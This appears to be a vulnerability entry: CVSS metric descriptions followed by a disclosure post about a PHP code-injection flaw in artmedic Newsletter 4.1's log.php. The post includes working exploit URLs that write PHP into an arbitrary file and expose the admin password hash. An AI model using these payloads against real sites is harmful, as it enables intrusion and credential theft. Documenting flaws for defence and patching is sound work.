The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
I found a bug in artmedic Newsletter 4.1 (proably even in newer versions) which lets an attacker run arbitrary php-code and bypass the password protection.
The reason for this is mistake in design.
log.php:
<?php
$time = time();
$date = date("d.m.Y, H:i:s");
$remote = getenv("REMOTE_ADDR");
$ip = getHostByAddr($remote);
$logd = "$time"."&&"."$date"."&&"."$remote"."&&"."$ip"."&&"."$email"."&&n";
$logdaten = fopen("$logfile", "a+");
flock($logdaten,2);
fputs($logdaten, $logd);
flock($logdaten,3);
fclose($logdaten);
//Log-Daten nach Vorhaltezeit lschen
//Delete old logdata
$ablaufzeit = "$time"-"$logtime";
$pruefung = @file($logfile);
while (list ($line_num, $line) = @each ($pruefung))
{
$zeiten = explode("&&",$line);
if($zeiten[0] <= $ablaufzeit)
{
$fp = fopen( "$logfile", "r" );
$contents = fread($fp, filesize($daten));
fclose($fp);
$line=quotemeta($line);
$string2 = "";
$replace = ereg_replace($line, $string2, $contents);
$fh=fopen($logfile, "w+");
@flock($fp,2);
fputs($fh, $replace);
@flock($fp,3);
fclose($fh);
}}
?>
Usually the log.php is included and $logfile,$logtime and $email are declared in the parent document. If we run "log.php?logfile=anyfile.anyext&logtime=unixtimestamp>0&email=<-- insert php code here -->" we get a file anyfile.anyext with following content:
<html>
...
unixtimestamp&&date&&user.host&&user.ip&&<-- php code -->&&
...
</html>
a simple example to reveal the admin pw Hash is
log.php?logfile=info.php&logtime=000060&email=<?%20require($cur);%20echo
%20$password%20?>
just launch info.php?cur=include.php and you will see it.
to kill the entry type:
"log.php?logfile=info.php&logtime=000000"
vendor has not yet been informed, but he will be as soon as possible ...
regards
C.Schmitz
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